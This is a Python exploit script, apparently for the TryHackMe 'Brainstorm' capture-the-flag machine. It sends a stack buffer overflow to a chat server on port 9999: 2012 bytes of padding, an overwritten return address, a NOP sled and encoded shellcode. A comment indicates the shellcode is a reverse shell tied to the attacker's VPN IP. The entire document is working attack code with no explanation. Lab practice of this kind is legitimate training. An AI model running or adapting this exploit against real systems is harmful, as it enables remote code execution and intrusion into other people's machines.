BrainstormTHM.py

#!/usr/bin/env python3

import sys, socket

ip = "10.10.147.119" # Or use sys.argv[1] to take cmdline arg
port = 9999 # Or use sys.argv[2] to take cmdline arg
username = b'user'

# Remember to regenerate shellcode if changing THM VPN IP or port!

payload = b'A'*2012+b'\xdf\x14\x50\x62'+b'\x90'*32 # Remember little endian reverse input for memory address
payload += b"\xda\xce\xd9\x74\x24\xf4\xba\x50\x10\x44\x87"
payload += b"\x58\x31\xc9\xb1\x52\x31\x50\x17\x03\x50\x17"
payload += b"\x83\xb8\xec\xa6\x72\xc4\xe5\xa5\x7d\x34\xf6"
payload += b"\xc9\xf4\xd1\xc7\xc9\x63\x92\x78\xfa\xe0\xf6"
payload += b"\x74\x71\xa4\xe2\x0f\xf7\x61\x05\xa7\xb2\x57"
payload += b"\x28\x38\xee\xa4\x2b\xba\xed\xf8\x8b\x83\x3d"
payload += b"\x0d\xca\xc4\x20\xfc\x9e\x9d\x2f\x53\x0e\xa9"
payload += b"\x7a\x68\xa5\xe1\x6b\xe8\x5a\xb1\x8a\xd9\xcd"
payload += b"\xc9\xd4\xf9\xec\x1e\x6d\xb0\xf6\x43\x48\x0a"
payload += b"\x8d\xb0\x26\x8d\x47\x89\xc7\x22\xa6\x25\x3a"
payload += b"\x3a\xef\x82\xa5\x49\x19\xf1\x58\x4a\xde\x8b"
payload += b"\x86\xdf\xc4\x2c\x4c\x47\x20\xcc\x81\x1e\xa3"
payload += b"\xc2\x6e\x54\xeb\xc6\x71\xb9\x80\xf3\xfa\x3c"
payload += b"\x46\x72\xb8\x1a\x42\xde\x1a\x02\xd3\xba\xcd"
payload += b"\x3b\x03\x65\xb1\x99\x48\x88\xa6\x93\x13\xc5"
payload += b"\x0b\x9e\xab\x15\x04\xa9\xd8\x27\x8b\x01\x76"
payload += b"\x04\x44\x8c\x81\x6b\x7f\x68\x1d\x92\x80\x89"
payload += b"\x34\x51\xd4\xd9\x2e\x70\x55\xb2\xae\x7d\x80"
payload += b"\x15\xfe\xd1\x7b\xd6\xae\x91\x2b\xbe\xa4\x1d"
payload += b"\x13\xde\xc7\xf7\x3c\x75\x32\x90\x48\x87\x3a"
payload += b"\x6b\x25\x95\x42\x6f\x67\x10\xa4\x05\x97\x75"
payload += b"\x7f\xb2\x0e\xdc\x0b\x23\xce\xca\x76\x63\x44"
payload += b"\xf9\x87\x2a\xad\x74\x9b\xdb\x5d\xc3\xc1\x4a"
payload += b"\x61\xf9\x6d\x10\xf0\x66\x6d\x5f\xe9\x30\x3a"
payload += b"\x08\xdf\x48\xae\xa4\x46\xe3\xcc\x34\x1e\xcc"
payload += b"\x54\xe3\xe3\xd3\x55\x66\x5f\xf0\x45\xbe\x60"
payload += b"\xbc\x31\x6e\x37\x6a\xef\xc8\xe1\xdc\x59\x83"
payload += b"\x5e\xb7\x0d\x52\xad\x08\x4b\x5b\xf8\xfe\xb3"
payload += b"\xea\x55\x47\xcc\xc3\x31\x4f\xb5\x39\xa2\xb0"
payload += b"\x6c\xfa\xc2\x52\xa4\xf7\x6a\xcb\x2d\xba\xf6"
payload += b"\xec\x98\xf9\x0e\x6f\x28\x82\xf4\x6f\x59\x87"
payload += b"\xb1\x37\xb2\xf5\xaa\xdd\xb4\xaa\xcb\xf7"

# Connection section
print("Overflow for Brainstorm")
print("Attempting to connect to chat server and send payload")
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))
    print("Connected")
except Exception as e:
    print("Error Connecting")
    print(e)
    sys.exit(1)
print("Sennding username/payload")
try:
    s.recv(1024)
    s.recv(1024)
    print("Sending username")
    s.send(username + b'\r\n')
    s.recv(1024)
    print("Sending payload")
    s.send(payload + b'\r\n') 
    s.recv(1024)
except Exception as e:
    print("Error sending data")
    print(e)
    sys.exit(1)

finally:
    print("Closing socket")
    s.close()